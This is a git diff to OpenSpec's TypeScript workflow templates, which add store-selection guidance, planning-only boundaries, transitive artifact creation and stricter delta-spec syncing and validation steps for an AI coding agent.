artifacts in dependency order (artifacts with no pending dependencies first): @@ -64,23 +94,30 @@ When ready to implement, run /opsx:apply - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance for this artifact type - - \`outputPath\`: Where to write the artifact + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact - \`dependencies\`: Completed artifacts to read for context - - Read any completed dependency files for context - - Create the artifact file using \`template\` as the structure + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise create the artifact file using \`template\` as the structure and write it to \`resolvedOutputPath\`. If \`resolvedOutputPath\` is a glob, follow \`instruction\` to choose the concrete file path - Apply \`context\` and \`rules\` as constraints - but do NOT copy them into the file - Show brief progress: "Created <artifact-id>" - b. **Continue until all \`applyRequires\` artifacts are complete** + b. **Continue until every artifact in the required set exists (not just \`apply.requires\`)** - After creating each artifact, re-run \`openspec status --change "<name>" --json\` - - Check if every artifact ID in \`applyRequires\` has \`status: "done"\` in the artifacts array - - Stop when all \`applyRequires\` artifacts are done + - The required set is \`applyRequires\` plus every artifact reachable from those by following the \`requires\` edges in \`status --json\` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - \`status\` is file-existence only, so an \`applyRequires\` artifact reading \`done\` does NOT mean its dependencies exist - writing \`tasks.md\` early marks \`tasks\` done while \`specs\` was never written. Use each artifact's \`requires\` edges, not its \`status\`, to build the required set: a \`done\` artifact still lists what it depends on + - An artifact already reading \`status: "skipped"\` is satisfied: the change declares \`skip_specs\` in \`.openspec.yaml\`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when \`status\` already reports it \`skipped\`, or when its own \`instruction\` says it is conditional: run \`openspec instructions <artifact-id> --change "<name>" --json\` and skip only if its \`instruction\` field marks it optional (e.g. "create only if..."). Spec-driven's \`design.md\` qualifies; \`specs\` qualifies only via the \`skipped\` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still \`blocked\` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is \`done\`, \`skipped\`, or was deliberately skipped c. **If an artifact requires user input** (unclear context): - - Use **AskUserQuestion tool** to clarify + - Ask the user to clarify - Then continue with creation -5. **Show final status** +6. **Show final status** \`\`\`bash openspec status --change "<name>" \`\`\` @@ -89,13 +126,14 @@ When ready to implement, run /opsx:apply After completing all artifacts, summarize: - Change name and location -- List of artifacts created with brief descriptions -- What's ready: "All artifacts created! Ready for implementation." -- Prompt: "Run \`/opsx:apply\` or ask me to implement to start working on the tasks." +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." +- Prompt: "The artifacts are ready for review. When you are ready, run \`/opsx:apply\` or ask me to apply this change." **Artifact Creation Guidelines** -- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type +- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly - The schema defines what each artifact should contain - follow it - Read dependency artifacts for context before creating new ones - Use \`template\` as the structure for your output file - fill in its sections @@ -104,9 +142,10 @@ After completing all artifacts, summarize: - These guide what you write, but should never appear in the output **Guardrails** -- Create ALL artifacts needed for implementation (as defined by schema's \`apply.requires\`) -- Always read dependency artifacts before creating a new one -- If context is critically unclear, ask the user - but prefer making reasonable decisions to keep momentum +- The request that invoked this workflow authorizes planning only. Any implementation or apply instruction in that request does not carry forward. Do NOT implement the change, start the apply workflow, or edit project code during this workflow. After presenting the artifacts, stop and wait for a new user request to start the apply workflow +- Create every artifact the apply phase transitively depends on, not just the ids listed in \`apply.requires\` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) +- Ask about ambiguities that would materially change scope, externally observable behavior, compatibility, or acceptance criteria; for minor details, make reasonable assumptions and record them - If a change with that name already exists, ask if user wants to continue it or create a new one - Verify each artifact file exists after writing before proceeding to next`, license: 'MIT', @@ -123,45 +162,74 @@ export function getOpsxProposeCommandTemplate(): CommandTemplate { tags: ['workflow', 'artifacts', 'experimental'], content: `Propose a new change - create the change and generate all artifacts in one step. -I'll create a change with artifacts: +**Planning boundary**: This workflow creates planning artifacts only. The user request that selected or triggered this workflow authorizes planning only, even if it asks to build or fix something. Do not edit project code. After the planning artifacts are complete, stop. Do not start implementation in the same response, even if the initial request asks for it. Wait for a new user request after the artifacts are presented; then start the apply workflow. + +I'll create a change with the artifacts your schema defines. With the default spec-driven schema that is: - proposal.md (what & why) +- \`specs/<capability-path>/spec.md\` (what the system must do - a delta, not the main spec) - design.md (how) - tasks.md (implementation steps) -When ready to implement, run /opsx:apply +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + +When the user is ready to implement, they must start the apply workflow explicitly. --- +${STORE_SELECTION_GUIDANCE} + **Input**: The argument after \`/opsx:propose\` is the change name (kebab-case), OR a description of what the user wants to build. **Steps** -1. **If no input provided, ask what they want to build** +1. **Understand the request and clarify material ambiguity** - Use the **AskUserQuestion tool** (open-ended, no preset options) to ask: + If no input is provided, ask the user (open-ended, no preset options): > "What change do you want to work on? Describe what you want to build or fix." From their description, derive a kebab-case name (e.g., "add user authentication" → \`add-user-auth\`). **IMPORTANT**: Do NOT proceed without understanding what the user wants to build. -2. **Create the change directory** + If the request contains ambiguity that would materially affect scope, externally observable behavior, compatibility, or acceptance criteria, ask the user before creating the change. For minor details, make a reasonable assumption and record it in the planning artifacts. + +2. **Determine the workflow schema** + + Use the configured default schema unless the user explicitly requests a different workflow. + + **Use a different schema only if the user:** + - Explicitly requests a specific schema by name → use \`--schema <schema-name>\` + - Asks to "show workflows" or asks "what workflows" exist → resolve the authoritative root by running \`openspec context --json\` from the current working directory. If the user explicitly selected a registered store, use \`openspec context --json --store "<store-id>"\`. Then run \`openspec schemas --json\` with its working directory set to the returned \`root.path\` and let them choose. This preserves roots selected by a local \`store:\` pointer or the global \`defaultStore\`; \`schemas\` does not accept \`--store\`. If context reports only \`no_openspec_root\`, run \`openspec schemas --json\` from the current working directory instead. Do not use this fallback for invalid or unavailable stores. + + Otherwise, omit \`--schema\` to preserve the configured default. + +3. **Create the change directory** + + Choose one schema form below. If a registered store is selected, append \`--store "<store-id>"\` to that command and each later OpenSpec command shown below that accepts \`--store\`. + + Using the configured default: \`\`\`bash openspec new change "<name>" \`\`\` - This creates a scaffolded change at \`openspec/changes/<name>/\` with \`.openspec.yaml\`. -3. **Get the artifact build order** + Using an explicitly requested schema: + \`\`\`bash + openspec new change "<name>" --schema "<schema-name>" + \`\`\` + This creates a scaffolded change in the planning home resolved by the CLI with \`.openspec.yaml\`. + +4. **Get the artifact build order** \`\`\`bash openspec status --change "<name>" --json \`\`\` Parse the JSON to get: - \`applyRequires\`: array of artifact IDs needed before implementation (e.g., \`["tasks"]\`) - - \`artifacts\`: list of all artifacts with their status and dependencies + - \`artifacts\`: list of all artifacts, each with its \`status\` and its \`requires\` edges (the artifact IDs it directly depends on) + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. -4. **Create artifacts in sequence until apply-ready** +5. **Create every artifact in the required set** - Use the **TodoWrite tool** to track progress through the artifacts. + Use a todo list to track progress through the artifacts. Loop through artifacts in dependency order (artifacts with no pending dependencies first): @@ -175,23 +243,30 @@ When ready to implement, run /opsx:apply - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance for this artifact type - - \`outputPath\`: Where to write the artifact + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact - \`dependencies\`: Completed artifacts to read for context - - Read any completed dependency files for context - - Create the artifact file using \`template\` as the structure + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise create the artifact file using \`template\` as the structure and write it to \`resolvedOutputPath\`. If \`resolvedOutputPath\` is a glob, follow \`instruction\` to choose the concrete file path - Apply \`context\` and \`rules\` as constraints - but do NOT copy them into the file - Show brief progress: "Created <artifact-id>" - b. **Continue until all \`applyRequires\` artifacts are complete** + b. **Continue until every artifact in the required set exists (not just \`apply.requires\`)** - After creating each artifact, re-run \`openspec status --change "<name>" --json\` - - Check if every artifact ID in \`applyRequires\` has \`status: "done"\` in the artifacts array - - Stop when all \`applyRequires\` artifacts are done + - The required set is \`applyRequires\` plus every artifact reachable from those by following the \`requires\` edges in \`status --json\` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - \`status\` is file-existence only, so an \`applyRequires\` artifact reading \`done\` does NOT mean its dependencies exist - writing \`tasks.md\` early marks \`tasks\` done while \`specs\` was never written. Use each artifact's \`requires\` edges, not its \`status\`, to build the required set: a \`done\` artifact still lists what it depends on + - An artifact already reading \`status: "skipped"\` is satisfied: the change declares \`skip_specs\` in \`.openspec.yaml\`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when \`status\` already reports it \`skipped\`, or when its own \`instruction\` says it is conditional: run \`openspec instructions <artifact-id> --change "<name>" --json\` and skip only if its \`instruction\` field marks it optional (e.g. "create only if..."). Spec-driven's \`design.md\` qualifies; \`specs\` qualifies only via the \`skipped\` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still \`blocked\` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is \`done\`, \`skipped\`, or was deliberately skipped c. **If an artifact requires user input** (unclear context): - - Use **AskUserQuestion tool** to clarify + - Ask the user to clarify - Then continue with creation -5. **Show final status** +6. **Show final status** \`\`\`bash openspec status --change "<name>" \`\`\` @@ -200,13 +275,14 @@ When ready to implement, run /opsx:apply After completing all artifacts, summarize: - Change name and location -- List of artifacts created with brief descriptions -- What's ready: "All artifacts created! Ready for implementation." -- Prompt: "Run \`/opsx:apply\` to start implementing." +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." +- Prompt: "The artifacts are ready for review. When you are ready, run \`/opsx:apply\`." **Artifact Creation Guidelines** -- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type +- Follow the \`instruction\` field from \`openspec instructions\` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly - The schema defines what each artifact should contain - follow it - Read dependency artifacts for context before creating new ones - Use \`template\` as the structure for your output file - fill in its sections @@ -215,9 +291,10 @@ After completing all artifacts, summarize: - These guide what you write, but should never appear in the output **Guardrails** -- Create ALL artifacts needed for implementation (as defined by schema's \`apply.requires\`) -- Always read dependency artifacts before creating a new one -- If context is critically unclear, ask the user - but prefer making reasonable decisions to keep momentum +- The request that invoked this workflow authorizes planning only. Any implementation or apply instruction in that request does not carry forward. Do NOT implement the change, start the apply workflow, or edit project code during this workflow. After presenting the artifacts, stop and wait for a new user request to start the apply workflow +- Create every artifact the apply phase transitively depends on, not just the ids listed in \`apply.requires\` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) +- Ask about ambiguities that would materially change scope, externally observable behavior, compatibility, or acceptance criteria; for minor details, make reasonable assumptions and record them - If a change with that name already exists, ask if user wants to continue it or create a new one - Verify each artifact file exists after writing before proceeding to next` }; diff --git a/src/core/templates/workflows/store-selection.ts b/src/core/templates/workflows/store-selection.ts new file mode 100644 index 0000000000..586ca156d9 --- /dev/null +++ b/src/core/templates/workflows/store-selection.ts @@ -0,0 +1,7 @@ +/** + * Shared store-selection guidance for skill template workflows. + * + * Interpolated into every workflow's instructions so generated skills + * consistently teach how to target a registered store with `--store <id>`. + */ +export const STORE_SELECTION_GUIDANCE = `**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run \`openspec store list --json\` to discover registered store ids, then pass \`--store <id>\` on the commands that read or write specs and changes (\`new change\`, \`status\`, \`instructions\`, \`list\`, \`show\`, \`validate\`, \`archive\`, \`doctor\`, \`context\`, \`view\`). Once selected, treat \`--store <id>\` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run \`openspec status --change "<name>" --json --store "<id>"\`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local \`openspec/\` root.`; diff --git a/src/core/templates/workflows/sync-specs.ts b/src/core/templates/workflows/sync-specs.ts index 34da4276e4..bedbaa7164 100644 --- a/src/core/templates/workflows/sync-specs.ts +++ b/src/core/templates/workflows/sync-specs.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getSyncSpecsSkillTemplate(): SkillTemplate { return { @@ -14,21 +15,55 @@ export function getSyncSpecsSkillTemplate(): SkillTemplate { This is an **agent-driven** operation - you will read delta specs and directly edit main specs to apply the changes. This allows intelligent merging (e.g., adding a scenario without copying the entire requirement). +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one + + When prompting, show changes that have delta specs (under \`specs/\` directory). + + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:sync <other>\`). - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. +2. **Resolve change context** - Show changes that have delta specs (under \`specs/\` directory). + Run: + \`\`\`bash + openspec status --change "<name>" --json + \`\`\` - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + The JSON includes \`planningHome.root\`. Main specs live under \`<planningHome.root>/openspec/specs/\` — use that (store-aware) root for every main-spec path below, not a hardcoded repo path. When a store is selected it points at the store, not the current repository. -2. **Find delta specs** +3. **Find delta specs** - Look for delta spec files in \`openspec/changes/<name>/specs/*/spec.md\`. + Use \`artifactPaths.specs.existingOutputPaths\` from the status JSON as the + only source of delta spec paths. If the \`specs\` entry is missing or + \`existingOutputPaths\` is empty, report that there are no delta specs to sync, + do not infer them from other artifacts, and stop without requesting artifact + instructions or writing a main spec. + + Sync every path in \`existingOutputPaths\` unless the caller narrowed the set. + A caller narrows it by naming an explicit list of complete entries from + \`existingOutputPaths\` — copy those absolute values verbatim. Archive does + this inline, and a user can too (for example, by selecting the entry ending + in \`/specs/billing/invoices/spec.md\`). + Then sync only the named paths and leave the remaining delta specs untouched: + bulk archive excludes a delta whose implementation it could not find, and + syncing it anyway would write a main spec the caller deliberately withheld. + Carry that narrowed selection through step 4; never widen it back to the full + list. If a named path is not in \`existingOutputPaths\`, do not sync it — + report it and stop, rather than dropping it silently. If the named list is + empty, report that there is nothing to sync and stop without writing a main + spec. Each delta spec file contains sections like: - \`## ADDED Requirements\` - New requirements to add @@ -38,13 +73,29 @@ This is an **agent-driven** operation - you will read delta specs and directly e If no delta specs found, inform user and stop. -3. **For each delta spec, apply changes to main specs** +4. **For each delta spec, apply changes to main specs** + + Before the first main-spec write, obtain one current specs-rule snapshot: + - If archive invoked this workflow inline and supplied a valid snapshot from + \`openspec instructions specs --change "<name>" --json\`, reuse it and do not + fetch the same instructions again. + - Otherwise run that command once now with the same selected-root flags. + - If the direct lookup exits non-zero or returns invalid artifact-instruction + JSON, report the error and stop before writing any main spec. Do not treat the + failure as an absent rule set. + - A valid response with omitted \`rules\` means no artifact rules are configured + and the existing semantic merge continues. - For each capability with a delta spec at \`openspec/changes/<name>/specs/<capability>/spec.md\`: + Apply returned \`rules\` only to the content and form of the main specs produced + by this merge. Artifact rules are not operation guidance and cannot change + selected roots, delta paths, CLI checks, or workflow steps. Use their text as + constraints without copying it verbatim into a main spec or summary. + + For each capability delta spec path selected in step 3 — the full \`existingOutputPaths\` list, or the narrowed subset when a caller supplied one (these may belong to a selected store, not the repo): a. **Read the delta spec** to understand the intended changes - b. **Read the main spec** at \`openspec/specs/<capability>/spec.md\` (may not exist yet) + b. **Read the main spec** at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (may not exist yet) c. **Apply changes intelligently**: @@ -55,31 +106,72 @@ This is an **agent-driven** operation - you will read delta specs and directly e **MODIFIED Requirements:** - Find the requirement in main spec - Apply the changes - this can be: - - Adding new scenarios (don't need to copy existing ones) + - Adding new scenarios the main spec does not have yet - Modifying existing scenarios - Changing the requirement description - Preserve scenarios/content not mentioned in the delta **REMOVED Requirements:** - Remove the entire requirement block from main spec + - Retiring the capability. Delete the whole \`spec.md\` - and the directory once + nothing else is left in it - only when ALL of these hold: + 1. removing the requirements *this run* left no requirement blocks; + 2. the rest of the spec is well-formed (it still has a \`## Purpose\`); + 3. the main spec was not already empty before this sync - if you removed + nothing, change nothing; + 4. every other nonblank line in the whole file is accounted for as the + title, Purpose, Requirements header, or a canonical requirement's + statement, scenarios, or fenced examples; + 5. the change's \`.openspec.yaml\` declares \`retire_capabilities: true\`; + 6. the \`spec.md\` resolves inside the real specs root (do not follow a + capability-directory symlink to delete an external file). + If removing the selected requirements would leave no requirement blocks and + any retirement condition is not satisfied, do not modify the main spec. Stop + the sync for that capability, report the blocking condition, and tell the user + how to resolve it. Never write or leave an empty \`## Requirements\` section. + When only the marker is missing, say that too - it is the one thing the user + can add to make the retirement go through. + - Deleting the file also deletes its \`## Purpose\`; any other section blocks + retirement. Name Purpose when you report the retirement. Include a pasteable + \`git checkout\` only when the spec lived in the caller's checkout; + otherwise give checkout-scoped recovery guidance. **RENAMED Requirements:** - Find the FROM requirement, rename to TO + **\`## Purpose\` in the delta:** + - The main spec already has one and it is authoritative - leave it alone + (this is what \`openspec archive\` does; it warns and moves on) + d. **Create new main spec** if capability doesn't exist yet: - - Create \`openspec/specs/<capability>/spec.md\` - - Add Purpose section (can be brief, mark as TBD) + - Create \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` + - Add Purpose section: copy the delta's \`## Purpose\` body verbatim when it has one + (this is what \`openspec archive\` does); only write a brief TBD placeholder when it does not - Add Requirements section with the ADDED requirements + - Follow the **Main Spec Format Reference** below -4. **Show summary** +5. **Validate updated main specs** + + Run \`openspec validate --specs\` with the same selected-root flags used earlier. + If validation fails, report the problems and do not claim the sync succeeded. + +6. **Show summary** After applying all changes, summarize: - Which capabilities were updated - What changes were made (requirements added/modified/removed/renamed) + - Any new main spec left with a TBD Purpose placeholder, so it gets written + now rather than lingering + - Any capability retired, naming the deleted \`spec.md\`, its Purpose, and + either a pasteable \`git checkout\` or checkout-scoped recovery guidance **Delta Spec Format Reference** \`\`\`markdown +## Purpose + +Only on a delta that introduces a brand-new capability. Seeds the new main spec. + ## ADDED Requirements ### Requirement: New Feature @@ -92,6 +184,12 @@ The system SHALL do something new. ## MODIFIED Requirements ### Requirement: Existing Feature +The system SHALL keep doing the existing thing, now also handling A. + +#### Scenario: Scenario the main spec already has +- **WHEN** user does X +- **THEN** system does Y + #### Scenario: New scenario to add - **WHEN** user does A - **THEN** system does B @@ -106,16 +204,36 @@ The system SHALL do something new. - TO: \`### Requirement: New Name\` \`\`\` +**Main Spec Format Reference** + +Main specs are what the delta merges INTO. They must never contain delta operation headers (\`## ADDED/MODIFIED/REMOVED/RENAMED Requirements\`) - after syncing, every requirement lives under a single \`## Requirements\` section: + +\`\`\`markdown +# <capability> Specification + +## Purpose +Short description of what this capability does and why it exists. + +## Requirements + +### Requirement: New Feature +The system SHALL do something new. + +#### Scenario: Basic case +- **WHEN** user does X +- **THEN** system does Y +\`\`\` + **Key Principle: Intelligent Merging** -Unlike programmatic merging, you can apply **partial updates**: -- To add a scenario, just include that scenario under MODIFIED - don't copy existing scenarios -- The delta represents *intent*, not a wholesale replacement +Unlike programmatic merging, you merge rather than overwrite: +- A MODIFIED block carries the whole requirement - body plus every scenario that survives the change. \`openspec validate\` and \`openspec archive\` both reject one that drops a scenario the main spec still has. +- Keep anything the delta does not mention, in the main spec's existing order - Use your judgment to merge changes sensibly **Output On Success** -\`\`\` +\`\`\`markdown ## Specs Synced: <change-name> Updated main specs: @@ -134,9 +252,15 @@ Main specs are now updated. The change remains active - archive when implementat **Guardrails** - Read both delta and main specs before making changes - Preserve existing content not mentioned in delta +- Never copy a delta file into a main spec as-is - merge its content so the main spec keeps the Main Spec Format Reference structure, with no delta operation headers - If something is unclear, ask for clarification - Show what you're changing as you go -- The operation should be idempotent - running twice should give same result`, +- The operation should be idempotent - running twice should give same result +- Use only \`artifactPaths.specs.existingOutputPaths\`; never infer delta specs from unrelated artifacts +- Honor a caller-supplied subset of \`existingOutputPaths\`; never widen it back to the full list +- Fetch specs instructions once for direct sync, or reuse the archive-supplied snapshot inline +- Stop before every main-spec write on a non-zero or invalid JSON specs-instruction response +- Artifact rules constrain only the specs being written and are never copied into output files`, license: 'MIT', compatibility: 'Requires openspec CLI.', metadata: { author: 'openspec', version: '1.0' }, @@ -153,21 +277,55 @@ export function getOpsxSyncCommandTemplate(): CommandTemplate { This is an **agent-driven** operation - you will read delta specs and directly edit main specs to apply the changes. This allows intelligent merging (e.g., adding a scenario without copying the entire requirement). +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: Optionally specify a change name after \`/opsx:sync\` (e.g., \`/opsx:sync add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one + + When prompting, show changes that have delta specs (under \`specs/\` directory). + + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:sync <other>\`). - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. +2. **Resolve change context** - Show changes that have delta specs (under \`specs/\` directory). + Run: + \`\`\`bash + openspec status --change "<name>" --json + \`\`\` - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + The JSON includes \`planningHome.root\`. Main specs live under \`<planningHome.root>/openspec/specs/\` — use that (store-aware) root for every main-spec path below, not a hardcoded repo path. When a store is selected it points at the store, not the current repository. -2. **Find delta specs** +3. **Find delta specs** - Look for delta spec files in \`openspec/changes/<name>/specs/*/spec.md\`. + Use \`artifactPaths.specs.existingOutputPaths\` from the status JSON as the + only source of delta spec paths. If the \`specs\` entry is missing or + \`existingOutputPaths\` is empty, report that there are no delta specs to sync, + do not infer them from other artifacts, and stop without requesting artifact + instructions or writing a main spec. + + Sync every path in \`existingOutputPaths\` unless the caller narrowed the set. + A caller narrows it by naming an explicit list of complete entries from + \`existingOutputPaths\` — copy those absolute values verbatim. Archive does + this inline, and a user can too (for example, by selecting the entry ending + in \`/specs/billing/invoices/spec.md\`). + Then sync only the named paths and leave the remaining delta specs untouched: + bulk archive excludes a delta whose implementation it could not find, and + syncing it anyway would write a main spec the caller deliberately withheld. + Carry that narrowed selection through step 4; never widen it back to the full + list. If a named path is not in \`existingOutputPaths\`, do not sync it — + report it and stop, rather than dropping it silently. If the named list is + empty, report that there is nothing to sync and stop without writing a main + spec. Each delta spec file contains sections like: - \`## ADDED Requirements\` - New requirements to add @@ -177,13 +335,29 @@ This is an **agent-driven** operation - you will read delta specs and directly e If no delta specs found, inform user and stop. -3. **For each delta spec, apply changes to main specs** +4. **For each delta spec, apply changes to main specs** + + Before the first main-spec write, obtain one current specs-rule snapshot: + - If archive invoked this workflow inline and supplied a valid snapshot from + \`openspec instructions specs --change "<name>" --json\`, reuse it and do not + fetch the same instructions again. + - Otherwise run that command once now with the same selected-root flags. + - If the direct lookup exits non-zero or returns invalid artifact-instruction + JSON, report the error and stop before writing any main spec. Do not treat the + failure as an absent rule set. + - A valid response with omitted \`rules\` means no artifact rules are configured + and the existing semantic merge continues. - For each capability with a delta spec at \`openspec/changes/<name>/specs/<capability>/spec.md\`: + Apply returned \`rules\` only to the content and form of the main specs produced + by this merge. Artifact rules are not operation guidance and cannot change + selected roots, delta paths, CLI checks, or workflow steps. Use their text as + constraints without copying it verbatim into a main spec or summary. + + For each capability delta spec path selected in step 3 — the full \`existingOutputPaths\` list, or the narrowed subset when a caller supplied one (these may belong to a selected store, not the repo): a. **Read the delta spec** to understand the intended changes - b. **Read the main spec** at \`openspec/specs/<capability>/spec.md\` (may not exist yet) + b. **Read the main spec** at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (may not exist yet) c. **Apply changes intelligently**: @@ -194,31 +368,72 @@ This is an **agent-driven** operation - you will read delta specs and directly e **MODIFIED Requirements:** - Find the requirement in main spec - Apply the changes - this can be: - - Adding new scenarios (don't need to copy existing ones) + - Adding new scenarios the main spec does not have yet - Modifying existing scenarios - Changing the requirement description - Preserve scenarios/content not mentioned in the delta **REMOVED Requirements:** - Remove the entire requirement block from main spec + - Retiring the capability. Delete the whole \`spec.md\` - and the directory once + nothing else is left in it - only when ALL of these hold: + 1. removing the requirements *this run* left no requirement blocks; + 2. the rest of the spec is well-formed (it still has a \`## Purpose\`); + 3. the main spec was not already empty before this sync - if you removed + nothing, change nothing; + 4. every other nonblank line in the whole file is accounted for as the + title, Purpose, Requirements header, or a canonical requirement's + statement, scenarios, or fenced examples; + 5. the change's \`.openspec.yaml\` declares \`retire_capabilities: true\`; + 6. the \`spec.md\` resolves inside the real specs root (do not follow a + capability-directory symlink to delete an external file). + If removing the selected requirements would leave no requirement blocks and + any retirement condition is not satisfied, do not modify the main spec. Stop + the sync for that capability, report the blocking condition, and tell the user + how to resolve it. Never write or leave an empty \`## Requirements\` section. + When only the marker is missing, say that too - it is the one thing the user + can add to make the retirement go through. + - Deleting the file also deletes its \`## Purpose\`; any other section blocks + retirement. Name Purpose when you report the retirement. Include a pasteable + \`git checkout\` only when the spec lived in the caller's checkout; + otherwise give checkout-scoped recovery guidance. **RENAMED Requirements:** - Find the FROM requirement, rename to TO + **\`## Purpose\` in the delta:** + - The main spec already has one and it is authoritative - leave it alone + (this is what \`openspec archive\` does; it warns and moves on) + d. **Create new main spec** if capability doesn't exist yet: - - Create \`openspec/specs/<capability>/spec.md\` - - Add Purpose section (can be brief, mark as TBD) + - Create \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` + - Add Purpose section: copy the delta's \`## Purpose\` body verbatim when it has one + (this is what \`openspec archive\` does); only write a brief TBD placeholder when it does not - Add Requirements section with the ADDED requirements + - Follow the **Main Spec Format Reference** below -4. **Show summary** +5. **Validate updated main specs** + + Run \`openspec validate --specs\` with the same selected-root flags used earlier. + If validation fails, report the problems and do not claim the sync succeeded. + +6. **Show summary** After applying all changes, summarize: - Which capabilities were updated - What changes were made (requirements added/modified/removed/renamed) + - Any new main spec left with a TBD Purpose placeholder, so it gets written + now rather than lingering + - Any capability retired, naming the deleted \`spec.md\`, its Purpose, and + either a pasteable \`git checkout\` or checkout-scoped recovery guidance **Delta Spec Format Reference** \`\`\`markdown +## Purpose + +Only on a delta that introduces a brand-new capability. Seeds the new main spec. + ## ADDED Requirements ### Requirement: New Feature @@ -231,6 +446,12 @@ The system SHALL do something new. ## MODIFIED Requirements ### Requirement: Existing Feature +The system SHALL keep doing the existing thing, now also handling A. + +#### Scenario: Scenario the main spec already has +- **WHEN** user does X +- **THEN** system does Y + #### Scenario: New scenario to add - **WHEN** user does A - **THEN** system does B @@ -245,16 +466,36 @@ The system SHALL do something new. - TO: \`### Requirement: New Name\` \`\`\` +**Main Spec Format Reference** + +Main specs are what the delta merges INTO. They must never contain delta operation headers (\`## ADDED/MODIFIED/REMOVED/RENAMED Requirements\`) - after syncing, every requirement lives under a single \`## Requirements\` section: + +\`\`\`markdown +# <capability> Specification + +## Purpose +Short description of what this capability does and why it exists. + +## Requirements + +### Requirement: New Feature +The system SHALL do something new. + +#### Scenario: Basic case +- **WHEN** user does X +- **THEN** system does Y +\`\`\` + **Key Principle: Intelligent Merging** -Unlike programmatic merging, you can apply **partial updates**: -- To add a scenario, just include that scenario under MODIFIED - don't copy existing scenarios -- The delta represents *intent*, not a wholesale replacement +Unlike programmatic merging, you merge rather than overwrite: +- A MODIFIED block carries the whole requirement - body plus every scenario that survives the change. \`openspec validate\` and \`openspec archive\` both reject one that drops a scenario the main spec still has. +- Keep anything the delta does not mention, in the main spec's existing order - Use your judgment to merge changes sensibly **Output On Success** -\`\`\` +\`\`\`markdown ## Specs Synced: <change-name> Updated main specs: @@ -273,8 +514,14 @@ Main specs are now updated. The change remains active - archive when implementat **Guardrails** - Read both delta and main specs before making changes - 